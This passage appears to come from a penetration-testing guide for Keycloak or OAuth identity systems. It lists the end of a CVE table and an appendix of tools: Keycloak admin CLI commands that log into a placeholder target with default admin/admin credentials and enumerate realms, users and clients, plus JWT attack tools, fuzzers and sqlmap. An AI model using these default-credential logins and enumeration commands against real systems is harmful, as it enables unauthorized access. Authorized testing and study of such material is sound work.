| CVE-2023-48795 | 2023 | SSH Attack | Infrastructure |
| CVE-2024-25710 | 2024 | DoS | XML Parsing |
| CVE-2024-27131 | 2024 | Deserialization | Various |
appendix b: tools
# Keycloak Admin CLIkcadm.sh config credentials --server https://target.com/auth --realm master --user admin --password adminkcadm.sh get realmskcadm.sh get users -r {realm}kcadm.sh get clients -r {realm}
# JWT Toolsjwt_tool.py <token> # JWT analysis and attackjwt.io # Online JWT decoderjwts.rb # Ruby JWT tool
# OAuth Toolsoauth2-client.py # OAuth2 client for testingBurp Suite Intruder # Parameter fuzzingFFuF / Gobuster # Path/domain fuzzingsqlmap # SQL injection (if DB backend exposed)